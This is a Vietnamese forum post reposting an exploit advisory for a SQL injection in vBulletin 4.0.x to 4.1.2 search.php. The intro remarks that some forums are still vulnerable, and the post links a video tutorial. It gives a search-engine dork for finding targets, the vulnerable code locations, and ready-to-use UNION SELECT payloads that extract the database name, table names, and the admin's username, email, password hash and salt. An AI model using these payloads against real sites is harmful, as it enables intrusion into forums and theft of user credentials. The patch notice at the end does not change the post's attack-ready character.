bug search vbb 4.0.x => 4.1.2

lỗi này vẫn còn 1 số diễn đàn 


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#vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability#
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# #
# 888 d8 888 _ 888 ,d d8 #
# e88~\888 d88 888-~\ 888 e~ ~ 888-~88e ,d888 _d88__ #
# d888 888 d888 888 888d8b 888 888b 888 888 #
# 8888 888 / 888 888 888Y88b 888 8888 888 888 #
# Y888 888 /__888__ 888 888 Y88b 888 888P 888 888 #
# "88_/888 888 888 888 Y88b 888-_88" 888 "88_/ #
# #
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#PhilKer - PinoyHack - RootCON - GreyHat Hackers - Security Analyst#
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#[+] Discovered By : D4rkB1t
#[+] Site : NaN
#[+] support e-mail : d4rkb1t@live.com


Product: http://www.vbulletin.com
Version: 4.0.x
Dork : inurl:"search.php?search_type=1"

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# ~Vulnerable Codes~ #
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/vb/search/searchtools.php - line 715;
/packages/vbforum/search/type/socialgroup.php - line 201:203;

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# ~Exploit~ #
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POST data on "Search Multiple Content Types" => "groups"

&cat[0]=1) UNION SELECT database()#
&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#
&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#

More info: http://j0hnx3r.org/?p=818

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# ~Advice~ #
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Vendor already released a patch on vb#4.1.3.
UPDATE NOW!

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# 1337day.com [2011-5-21]
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TUT hướng dẫn : http://www.youtube.com/watch?feature=player_embedded&v=ncWxHDhRKS0#!